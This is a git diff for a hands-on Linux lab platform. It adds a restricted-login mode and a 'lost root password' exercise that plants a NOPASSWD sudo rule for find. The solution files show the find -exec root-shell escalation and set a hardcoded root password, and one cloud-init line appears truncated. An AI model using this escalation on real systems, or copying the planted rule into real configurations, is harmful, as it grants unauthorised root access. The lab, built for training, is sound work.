diff --git a/LAB_FORMAT.md b/LAB_FORMAT.md index a01cc6a..827ff4c 100644 --- a/LAB_FORMAT.md +++ b/LAB_FORMAT.md @@ -54,6 +54,28 @@ Recommended checklist before opening a PR with exposed ports: 3. Confirm the browser/Open Port path works after the solution, not just a local shell curl. 4. Keep `exposed_ports` in `lab.yaml` when the UI should show the port; do not remove it just to make CI pass. +### `initial_access` (Optional) + +Determines the privilege level of the SSH session presented to the player in the web terminal. + +- **`full`** (default): The terminal connects as `root` with full privileges. This is the standard behavior for all existing labs. +- **`restricted`**: The terminal connects as a non-privileged user (`opsuser`). The player must exploit a misconfiguration (e.g., a writable sensitive file, a setuid binary, or an overly permissive sudo rule) to escalate to root. + +When `initial_access: restricted` is set, the backend automatically: +1. Creates an `opsuser` user in cloud-init with the same SSH key used for `root`. +2. Connects the web terminal as `opsuser` instead of `root`. +3. Continues to run `verify.sh` and `solution.sh` as `root` internally (backend bypass), so CI pipelines are unaffected. + +**Example:** +```yaml +initial_access: restricted +``` + +**Important notes for restricted labs:** +- The lab's `cloud-init.yaml` must intentionally break root access (e.g., change the root password to a random value, remove `opsuser` from the `sudo` group). +- The lab must provide a realistic escalation path (e.g., `sudo` misconfiguration, writable `/etc/passwd`, or a SUID binary). +- `verify.sh` should assert that the player has successfully restored normal access (e.g., `opsuser` is back in the `sudo` group and `/etc/sudoers` is valid). + ## 2. `cloud-init.yaml` (Required) This file tells the `ubuntu-24.04-base.qcow2` image how to configure itself on first boot. Use this to intentionally break the system. diff --git a/backend/main.py b/backend/main.py index 51ba00d..5d37c69 100644 --- a/backend/main.py +++ b/backend/main.py @@ -105,6 +105,7 @@ class LabInfo(BaseModel): category: str difficulty: str description: dict + initial_access: str = "full" @app.get("/labs", response_model=List[LabInfo]) def list_labs(): @@ -137,7 +138,8 @@ def get_lab(lab_id: str): def launch_lab(lab_id: str): try: lab_config = parser.parse_lab(lab_id) - + initial_access = lab_config.get("initial_access", "full") + vm_name = lab_config["vm"]["name"] memory_mb = lab_config["vm"]["memory"] vcpus = lab_config["vm"]["cpu"] @@ -206,8 +208,20 @@ def launch_lab(lab_id: str): root_user["ssh_authorized_keys"] = [] root_user["ssh_authorized_keys"].append(pub_key) - + + # Handle restricted initial_access: add the restricted user with SSH key + if initial_access == "restricted": + restricted_user = next((u for u in ud_yaml["users"] if isinstance(u, dict) and u.get("name") == "opsuser"), None) + if not restricted_user: + restricted_user = {"name": "opsuser", "ssh_authorized_keys": [], "shell": "/bin/bash"} + ud_yaml["users"].append(restricted_user) + if "ssh_authorized_keys" not in restricted_user: + restricted_user["ssh_authorized_keys"] = [] + restricted_user["ssh_authorized_keys"].append(pub_key) + user_data_content = "#cloud-config\n" + yaml.dump(ud_yaml, width=10000) + usernames = [u.get("name") for u in ud_yaml.get("users", []) if isinstance(u, dict)] + print(f"DEBUG: lab_id={lab_id} initial_access={initial_access} users={usernames}") except Exception as e: print(f"Warning: Failed to parse user-data YAML: {e}") @@ -307,9 +321,10 @@ async def websocket_terminal(websocket: WebSocket, lab_id: str): await websocket.accept() conn = None restricted_rcfile_path = None - + try: lab_config = parser.parse_lab(lab_id) + initial_access = lab_config.get("initial_access", "full") vm_name = lab_config["vm"]["name"] # Poll for IP address (wait for boot) @@ -328,14 +343,15 @@ async def websocket_terminal(websocket: WebSocket, lab_id: str): await websocket.send_text(f"\r\n[Info] Connecting to VM at {vm_ip}...\r\n") priv_key_path = os.path.join(PROJECT_ROOT, "keys", "id_ed25519") - + username = 'opsuser' if initial_access == 'restricted' else 'root' + for _ in range(15): # Try for up to 30 seconds try: - conn = await asyncssh.connect(vm_ip, username='root', client_keys=[priv_key_path], known_hosts=None) + conn = await asyncssh.connect(vm_ip, username=username, client_keys=[priv_key_path], known_hosts=None) break except Exception: await asyncio.sleep(2) - + if not conn: await websocket.send_text("\r\n[Error] SSH Connection timed out. VM may still be booting.\r\n") await websocket.close() diff --git a/labs/lost-root-password/cloud-init.yaml b/labs/lost-root-password/cloud-init.yaml new file mode 100644 index 0000000..e166427 --- /dev/null +++ b/labs/lost-root-password/cloud-init.yaml @@ -0,0 +1,14 @@ +#cloud-config +packages: + - sudo + +runcmd: + - echo "root:$(tr -dc A-Za-z0-9 /dev/null || true + - gpasswd -d opsuser admin 2>/dev/null || true + - usermod -G opsuser opsuser + - 'echo "opsuser ALL=(root) NOPASSWD: /usr/bin/find" >> /etc/sudoers' + - echo "ACCESS_REGAINED" > /root/flag.txt + - chmod 600 /root/flag.txt diff --git a/labs/lost-root-password/lab.yaml b/labs/lost-root-password/lab.yaml new file mode 100644 index 0000000..ed5d4ba --- /dev/null +++ b/labs/lost-root-password/lab.yaml @@ -0,0 +1,25 @@ +id: lost-root-password +name: Lost Root Password +category: linux +difficulty: intermediate +provider: libvirt +initial_access: restricted +vm: + name: lost-root-password-lab + image: ubuntu-24.04-base.qcow2 + cpu: 1 + memory: 1024 + disk: 10G +cloud_init: cloud-init.yaml +verify_script: verify.sh +description: + summary: "The root password is lost and sudo access is restricted. Regain root privileges." + story: "A new sysadmin changed the root password and forgot it. You have SSH access as the opsuser user but cannot use sudo. Find a way to escalate your privileges and restore proper access." + objectives: + - Identify the privilege escalation vector + - Gain root access + - Fix the system to restore normal sudo access +tags: + - linux + - security + - privilege-escalation \ No newline at end of file diff --git a/labs/lost-root-password/question.md b/labs/lost-root-password/question.md new file mode 100644 index 0000000..460715c --- /dev/null +++ b/labs/lost-root-password/question.md @@ -0,0 +1,17 @@ +### Scenario +A new sysadmin changed the root password on this server and forgot it. You have been given SSH access as the `opsuser` user, but `opsuser` does not have `sudo` privileges. Attempting to run any command with `sudo` results in a permission denial. + +You need to regain root access and restore the system to a healthy state. + +### Objective +1. Find a way to escalate privileges from the `opsuser` account to root. +2. Restore normal sudo access for `opsuser`. +3. Reset the root password to a known value. + +### Useful Commands +- `sudo -l` +- `groups opsuser` +- `sudo find / -exec /bin/bash \;` +- `usermod -aG sudo opsuser` +- `echo "root:PASSWORD" | chpasswd` +- `visudo -c` \ No newline at end of file diff --git a/labs/lost-root-password/solution.md b/labs/lost-root-password/solution.md new file mode 100644 index 0000000..9d58a4e --- /dev/null +++ b/labs/lost-root-password/solution.md @@ -0,0 +1,37 @@ +### The Issue +The `opsuser` user was stripped of all sudo privileges and the root password was changed to an unknown value. However, the server was left with a dangerous sudo misconfiguration: `opsuser` is allowed to run `/usr/bin/find` as root without a password. Since the `find` command supports the `-exec` flag, this can be exploited to spawn an interactive root shell. + +### Step-by-Step Fix + +1. **Enumerate sudo privileges**: + ```bash + sudo -l + ``` + You will see that `opsuser` may run `/usr/bin/find` as root without a password. + +2. **Exploit `find` to get a root shell**: + ```bash + sudo find / -exec /bin/bash \; + ``` + You are now running as root (UID 0). + +3. **Restore opsuser to the sudo group**: + ```bash + usermod -aG sudo opsuser + ``` + +4. **Clean up the dangerous sudo rule**: + ```bash + sed -i "/opsuser ALL=(root) NOPASSWD: \/usr\/bin\/find/d" /etc/sudoers + ``` + +5. **Reset the root password**: + ```bash + echo "root:BrokenOps123" | chpasswd + ``` + +6. **Verify**: + ```bash + visudo -c + groups opsuser + ``` \ No newline at end of file diff --git a/labs/lost-root-password/solution.sh b/labs/lost-root-password/solution.sh new file mode 100755 index 0000000..ac4a983 --- /dev/null +++ b/labs/lost-root-password/solution.sh @@ -0,0 +1,10 @@ +#!/bin/bash + +# Exploit the sudo find rule to gain a root shell. +# -maxdepth 0 limits the search so the -exec command runs exactly once +# (instead of once for every file on the filesystem). +sudo find /root -maxdepth 0 -exec /bin/bash -c ' + usermod -aG sudo opsuser + sed -i "/opsuser ALL=(root) NOPASSWD:.*find/d" /etc/sudoers + echo "root:BrokenOps123" | chpasswd +' \; \ No newline at end of file diff --git a/labs/lost-root-password/verify.sh b/labs/lost-root-password/verify.sh new file mode 100755 index 0000000..0c4cc35 --- /dev/null +++ b/labs/lost-root-password/verify.sh @@ -0,0 +1,22 @@ +#!/bin/bash + +# 1. Check that opsuser is in the sudo group +if ! groups opsuser | grep -qw "sudo"; then + echo "FAILURE: opsuser is not in the sudo group." + exit 1 +fi + +# 2. Check that the dangerous NOPASSWD find rule has been removed +if grep -q "opsuser ALL=(root) NOPASSWD: /usr/bin/find" /etc/sudoers; then + echo "FAILURE: The dangerous sudo rule for find is still present." + exit 1 +fi + +# 3. Check that sudoers syntax is valid +if ! visudo -c > /dev/null 2>&1; then + echo "FAILURE: /etc/sudoers has syntax errors." + exit 1 +fi + +echo "SUCCESS: Root access has been restored. opsuser can now use sudo." +exit 0 \ No newline at end of file